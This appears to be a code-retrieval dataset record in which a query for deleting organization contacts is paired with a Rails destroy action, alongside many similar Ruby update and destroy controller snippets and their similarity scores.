@organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_contact(id, params)\n put(\"contacts/#{id}\", contact: params)\n end", "def update\n respond_to do |format|\n if @organization.update_attributes(params[:organization])\n format.html { redirect_to admin_organization_path, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to admin_organization_path, notice: 'Organization could not be updated.' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to edit_organization_path(@organization), notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update_attributes(params[:organization])\n flash[:notice] = 'Organization was successfully updated.'\n format.html { redirect_to @organization }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_organization(org, options={})\n patch \"/orgs/#{org}\", :body => options\n end", "def update\n @contact = Contact.find(params[:id])\n if params[:contact][:clientId] == \"\"\n params[:contact][:clientId] = nil\n end \n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contato atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { render :edit, notice: 'Contact was successfully updated.' }\n format.json { render :edit, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact_company.update(contact_company_params)\n format.html { redirect_to @contact_company, notice: 'Contact company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contact_company.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @customer = Customer.find(params[:customer_id])\n @contact = @customer.contacts.find(params[:id])\n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to([@contact.customer, @contact], :notice => t('forms.update.sucess')) }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def modify_contact\n\n end", "def set_contact\n if params[:action] == \"update\"\n @contact = Contact.find(params[:format]) \n else\n @contact = Contact.find(params[:id])\n end\n end", "def update_contact(contact)\n raise \"contact_id or contact_number is required for updating contacts\" if contact.contact_id.nil? and contact.contact_number.nil?\n \n request_xml = contact.to_xml\n response_xml = http_post(\"#{@xero_url}/contact\", request_xml, {})\n\n parse_response(response_xml, :request_xml => request_xml)\n end", "def update\n @person_contact = PersonContact.find(params[:id])\n\n respond_to do |format|\n if @person_contact.update_attributes(params[:person_contact])\n format.html { redirect_to(@person_contact, :notice => 'Person contact was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person_contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def contacts\r\n @contact = @customer.contact_people.find_by_id params[:id]\r\n \r\n # Delete contact\r\n if @contact && params[:method] == \"delete\"\r\n @store_user.my_account_log(@contact,\"Delete Contact #{@contact.name}\")\r\n @contact.destroy\r\n @customer.update_ax( :contacts => [@contact] )\r\n redirect_to :id => nil\r\n end\r\n \r\n # Add or update contact\r\n if request.post? && params[:contact]\r\n @contact ||= @customer.contact_people.build\r\n @contact.attributes = params[:contact]\r\n if @contact.save\r\n redirect_to :id => nil\r\n else\r\n @customer.contact_people.delete @contact\r\n render\r\n end\r\n \r\n # Synchronize customer\r\n @customer.update_ax( :contacts => [@contact] ) if @contact.errors.empty?\r\n @store_user.my_account_log(@contact,\"Add or Update Contact #{@contact.name}\")\r\n end\r\n end", "def update fields\n self.contact = @nimble.put \"contact/#{self.id}\", { fields: fields }\n return nil unless self.contact\n self\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to contacts_path, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n check_member_or_admin_of_group?\n @contact = @group.contacts.friendly.find(params[:id])\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to group_contact_path(@group, @contact), notice: 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to after_save_path, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to contacts_path, notice: 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def put_contacts_id_with_http_info(id, contacts, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContactsApi.put_contacts_id ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ContactsApi.put_contacts_id\"\n end\n # verify the required parameter 'contacts' is set\n if @api_client.config.client_side_validation && contacts.nil?\n fail ArgumentError, \"Missing the required parameter 'contacts' when calling ContactsApi.put_contacts_id\"\n end\n # resource path\n local_var_path = '/contacts/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(contacts) \n\n # return_type\n return_type = opts[:return_type] || 'Contact' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContactsApi#put_contacts_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n @job = Job.find_by(id: job_param[:job_id])\n if @address = Address.find_by(id: @contact.address_id)\n if @address.update(address_params)\n end\n else\n @address = Address.new(address_params)\n @address.save\n @contact.address_id = @address.id\n end\n if @contact.update(contact_params)\n @contact.phones.destroy_all\n phone_count = phone_params[\"type_ids\"].count\n\n phone_count.times do |index|\n unless phone_params[\"numbers\"][index] == \"\"\n @contact.phones.create(type_id: phone_params[\"type_ids\"][index], number: phone_params[\"numbers\"][index], extension: phone_params[\"extensions\"][index])\n end\n end\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n contact = Contact.find(params[:id])\n\n if contact.user_id == current_user.id\n contact.update_attributes(params[:contact])\n render json: contact\n else\n render text: \"That's not your contact!\"\n end\n end", "def update(name: nil)\n data = name.nil? ? {} : {name: name}\n cf_patch(path: \"/organizations/#{org_id}\", data: data)\n end", "def update\n #@contact = Contact.find(params[:id])\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to(contacts_url, :notice => t('contacts.was_updated.')) }\n format.json { head :ok }\n format.js { render 'success' }\n else\n format.html { render :action => \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n format.js { render 'failure' }\n end\n end\n end", "def sync_contact(params)\n post('contact/sync', contact: params)\n end", "def create\n @contact = Contacts::Person.new(contacts_person_params.merge(user: current_user))\n company = Contacts::Company.new(contacts_company_params.merge(user: current_user)) if params[:contacts_company]\n @contact.company = company if @contact.company.nil? && !company.nil? && company.valid?\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: t('controllers.contacts.people.create.success') }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_contact\n # hard_code_contact(contact_params)\n respond_to do |format|\n if @contact.update_attributes(contact_params)\n format.html { redirect_to contacts_admin_seller_path(@seller), notice: 'Contact has successfully been updated!' }\n else\n flash[:error] = @contact.errors.full_messages\n format.html { redirect_to contacts_admin_seller_path(@seller), notice: 'Contact failed to be saved!' }\n format.json { render :contacts, status: :unprocessable_entity }\n end\n end\n end", "def update\n @organization_account = OrganizationAccount.find(params[:id])\n\n respond_to do |format|\n if @organization_account.update_attributes(params[:organization_account])\n format.html { redirect_to @organization_account, notice: 'Organization account was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @organization_account.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = @current_user.contacts.new(contact_params)\n if @contact.save\n render json: {status: 201, contact: @contact}\n else\n render json: {status: 400}\n end\n end", "def update\n @contact = Contact.find(params[:id])\n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = Contact.find(params[:id])\n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = Contact.find(params[:id])\n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @organization = Organization.find(params[:id])\n\n authorize! :update, @organization\n\n respond_to do |format|\n if @organization.update_attributes(permitted_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { @title = edit_action_title; render action: \"edit\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def co_update_from_organization\n organization = params[:company]\n if organization != '0'\n @organization = Organization.find(organization)\n @users = @organization.blank? ? users_dropdown : users_dropdown\n #@users = @organization.blank? ? users_dropdown : @organization.users.order(:email)\n else\n @users = users_dropdown\n end\n @json_data = { \"users\" => @users }\n render json: @json_data\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Place was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_contact(contact_info)\n self.refresh_access_token!\n\n contact = OpenStruct.new({\n first_name: contact_info[:first_name],\n last_name: contact_info[:last_name],\n phone: contact_info[:phone]\n })\n\n haml_template = File.read(File.join(TEMPLATES_DIR, 'contact.xml.haml'))\n request_body = Haml::Engine.new(haml_template, remove_whitespace: true).render(Object.new, {\n contact: contact,\n user: self\n })\n\n @response = @oauth_access_token.post(\n 'https://www.google.com/m8/feeds/contacts/default/full',\n {\n body: request_body,\n headers: {\n 'Content-type' => 'application/atom+xml',\n 'GData-Version' => '3.0'\n }\n }\n )\n\n @response.status == 201\n end", "def contact_params\n params.require(:contact).permit(\n :organization_id,\n :first_name,\n :last_name,\n :email,\n :phone,\n :address,\n :city,\n :region,\n :country,\n :postal_code\n )\n end", "def update\n @library_contact = @library_location.library_contacts.find(params[:id])\n\n respond_to do |format|\n if @library_contact.update_attributes(params[:library_contact])\n format.html { redirect_to center_library_location_path(@center, @library_location), :flash => { success: 'Library contact was successfully updated.' }}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @library_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update_attributes( params[:organization],\n :as => ( permitted_to?( :admin, @organization ) ? :admin : :default ) )\n flash[:notice] = 'Organization was successfully updated.'\n format.html { redirect_to(@organization) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @object.update(contact_person_params)\n format.html { redirect_to @object, notice: 'Contact person was successfully updated.' }\n format.json { render :show, status: :ok, location: @object }\n else\n format.html { render :edit }\n format.json { render json: @object.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to root_path, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contact.update(contact_params)\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.68794465", "0.68764114", "0.6659082", "0.664357", "0.6634039", "0.66311294", "0.65473694", "0.6544432", "0.6540247", "0.65237737", "0.65087163", "0.6501151", "0.647436", "0.64389944", "0.6415391", "0.64046264", "0.64005375", "0.63825643", "0.6378881", "0.6361877", "0.6356987", "0.6337723", "0.63302463", "0.632386", "0.6297843", "0.62851876", "0.6279079", "0.6272702", "0.6259943", "0.6236627", "0.62284315", "0.6212083", "0.6211443", "0.621108", "0.62107724", "0.6201321", "0.6194803", "0.6193101", "0.6186141", "0.61708254", "0.6168417", "0.61669445", "0.6162297", "0.6146322", "0.6142004", "0.6142004", "0.6133218", "0.61292326", "0.61292326", "0.61292326", "0.61292326", "0.61292326", "0.61292326", "0.61292326", "0.61262435", "0.61255777", "0.61063945", "0.6099981", "0.60997516", "0.60942405", "0.60932404", "0.60766375", "0.6072589", "0.6056725", "0.60390747", "0.60314953", "0.6025547", "0.60146135", "0.6012948", "0.60037994", "0.600285", "0.60012174", "0.59976655", "0.59933347", "0.5992815", "0.59925663", "0.5992545", "0.5990086", "0.59862894", "0.5980261", "0.5978338", "0.59706134", "0.5962886", "0.5959033", "0.5959033", "0.5959033", "0.59575087", "0.5950202", "0.59412223", "0.5938112", "0.5936992", "0.59270173", "0.59264964", "0.5920879", "0.5917624", "0.59141535", "0.59052736", "0.59052736", "0.59052736", "0.59052736" ]
0.76239353
0
DELETE /organization_contacts/1 DELETE /organization_contacts/1.json
def destroy if (current_user.role == "customer" || current_user.role == "supervisor") @organization_contact = OrganizationContact.find(params[:id]) @action = request.referrer @organization_contact.delflag = true if @organization_contact.update_attributes(params[:organization_contact]) flash[:notice] = "Successfully Deleted" respond_to do |format| format.html { redirect_to @action } format.json { head :no_content } end else flash[:notice] = "Could not Deleted" respond_to do |format| format.html { redirect_to @action } format.json { head :no_content } end end else redirect_to error_users_path and return end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @contact.destroy\n render json: {status: 204}\n end", "def destroy\n @contact = @business.contacts.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to business_contacts_url(@business) }\n format.json { head :no_content }\n end\n end", "def destroy\n @crm_contact = CrmContact.find(params[:id])\n @crm_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to crm_contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n Conshejointable.where(:contact_id =>@contact.id).delete_all\n Description.where(:contact_id =>@contact.id).delete_all\n puts @contact.id.to_s + \": \" + @contact.name\n @contact.delete\n respond_to do |format|\n format.html { redirect_to contacts_path, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(contactname)\n\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to admin_contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n #Contact.delete(@contact.id)\n respond_to do |format|\n format.html { redirect_to contacts_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @entity_contact = EntityContact.find(params[:id])\n @entity_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to entity_contacts_url }\n format.json { head :no_content }\n end\n end", "def DeleteOrganization id\n \n APICall(path: \"organizations/#{id}.json\",method: 'DELETE')\n \n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n if user_signed_in? && current_user.admin?\n respond_to do |format|\n format.html { redirect_to \"/organization_accounts\" }\n format.json { head :no_content }\n end\n else\n redirect_to root_path\n end\n end", "def destroy\n @contact = @current_affiliate_group.contacts.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(contacts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: t('controllers.contacts.people.destroy.success') }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n render json:Contact.all\n end", "def destroy\n @contact = Contact.find(params[:id])\n\n @contact.destroy\n #@contact.version\n\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n remove_contacts_dependencies\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @organization.destroy\n render json: { success: \"Organization deleted successfully\" }, status: :ok\n end", "def destroy\n @contact_company.destroy\n respond_to do |format|\n format.html { redirect_to contact_companies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subcontractor_contact.destroy\n respond_to do |format|\n format.html { redirect_to subcontractor_contacts_url, notice: 'Subcontractor contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contactable = find_contactable\n @contactable.contactos.find(params[:id]).destroy\n respond_to do |format|\n format.html { head :ok}\n # format.html { redirect_to @contactable }\n #format.json { head :ok }\n end\n end", "def destroy\n @contact_request = ContactRequest.find(params[:id])\n @contact_request.destroy\n\n respond_to do |format|\n format.html { redirect_to contact_requests_url }\n format.json { head :ok }\n end\n end", "def delete_contact(params={})\n @obj.delete('delete-contact', @auth.merge(params))\n end", "def destroy\n @contact = CompanyContact.find(params[:id])\n @contact.destroy\n head :no_content\n end", "def destroy\n @crm_contact_info = CrmContactInfo.find(params[:id])\n @crm_contact_info.destroy\n @crm_contact=@crm_contact_info.crm_contact\n\n # respond_to do |format|\n # format.html { redirect_to crm_contact_infos_url }\n # format.json { head :no_content }\n # end\n end", "def destroy\n @ad_contact = AdContact.find(params[:id])\n @ad_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to ad_contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact_group.destroy\n\n render json: @contact_group, status: :ok\n end", "def delete(options={})\n options.merge!({:basic_auth => Client.credentials})\n self.class.delete(\"#{Client.base_uri}/contacts/#{id}.json\", options)\n end", "def destroy\n @contact.destroy\n\n head :no_content\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_path, notice: 'Test was successfully destroyed.' }\n format.json { head :no_contact }\n end\n end", "def destroy\n @admin_contact.destroy\n respond_to do |format|\n format.html { redirect_to admin_contacts_path, notice: mk_notice(@admin_contact, :id, 'Contact', :destroy) }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to client_contacts_path(@firm), :notice => \"'#{ Contact.model_name.human } удален.'\" }\n format.json { head :ok }\n end\n end", "def destroy\n @global_contact = GlobalContact.find(params[:id])\n @global_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(global_contacts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @member_contact.destroy\n respond_to do |format|\n format.html { redirect_to member_contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @person_contact = PersonContact.find(params[:id])\n @person_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(person_contacts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @external_organization = ExternalOrganization.find(params[:id])\n @external_organization.destroy\n\n respond_to do |format|\n format.html { redirect_to external_organizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @organization = Organization.find(params[:id])\n @organization.destroy\n\n respond_to do |format|\n format.html { redirect_to organizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @organization = Organization.find(params[:id])\n @organization.destroy\n\n respond_to do |format|\n format.html { redirect_to organizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @customer = Customer.find(params[:customer_id])\n @cust_contact = @customer.cust_contacts.find(params[:id])\n @cust_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_url(@customer) }\n format.json { head :no_content }\n end\n end", "def destroy\n @contactinfo = Contactinfo.find(params[:id])\n @people_id = @contactinfo.people_id\n @contactinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to person_path(@people_id) }\n format.json { head :ok }\n end\n end", "def destroy\n @employee_contact.destroy\n respond_to do |format|\n format.html { redirect_to employee_contacts_url, notice: 'Employee contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(contacts)\n @@contacts.delete(contact)\n end", "def destroy\n @corp_contact = CorpContact.find(params[:id])\n @corp_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to corp_contacts_url,\n notice: (crud_notice('destroyed', @corp_contact) + \"#{undo_link(@corp_contact)}\").html_safe }\n format.json { head :no_content }\n end\n end", "def destroy\n @people_organization.destroy\n respond_to do |format|\n format.html { redirect_to people_organizations_url, notice: 'People organization was successfully removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to scenario_contacts_url(@scenario), notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n head :no_content\n end", "def destroy\n\n ur_contact = UrContact.find(params[:id])\n\n #you can delete contacts you don't own\n if ur_contact.user_id != current_user.id then\n Rails.logger.error \"Attempt to delete contact you don't own\"\n head :internal_server_error\n return\n end\n\n if ur_contact.destroy then\n render json: {message:'Content Deleted'}\n else\n head :internal_server_error\n end\n end", "def destroy\n @organization.destroy\n respond_to do |format|\n format.html { redirect_to organizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @organization.destroy\n respond_to do |format|\n format.html { redirect_to organizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @organization.destroy\n respond_to do |format|\n format.html { redirect_to organizations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contactaction = Contactaction.find(params[:id])\n @contactaction.destroy\n\n respond_to do |format|\n format.html { redirect_to contactactions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @clients_organization.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(options={})\n DNSimple::Client.delete(\"/v1/contacts/#{id}\", options)\n end", "def destroy\n @site_contact = SiteContact.find(params[:id])\n @site_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to site_contacts_url }\n format.json { head :ok }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @organization = Organization.find(params[:id])\n @organization.delete\n end", "def destroy\n @organization_account = OrganizationAccount.find(params[:id])\n @organization_account.destroy\n\n respond_to do |format|\n format.html { redirect_to organization_accounts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(contacts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(contacts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(contacts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to(contacts_url) }\n format.xml { head :ok }\n end\n end", "def delete_contact(contact_to_delete)\n @contacts.delete(contact_to_delete)\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_path, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # @organization.destroy\n respond_to do |format|\n format.html { redirect_to organizations_url, notice: 'Organization was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n \n respond_to do |format|\n format.html { redirect_to contacts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact = Contact.find(params[:id])\n @contact.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_contacts_url }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, 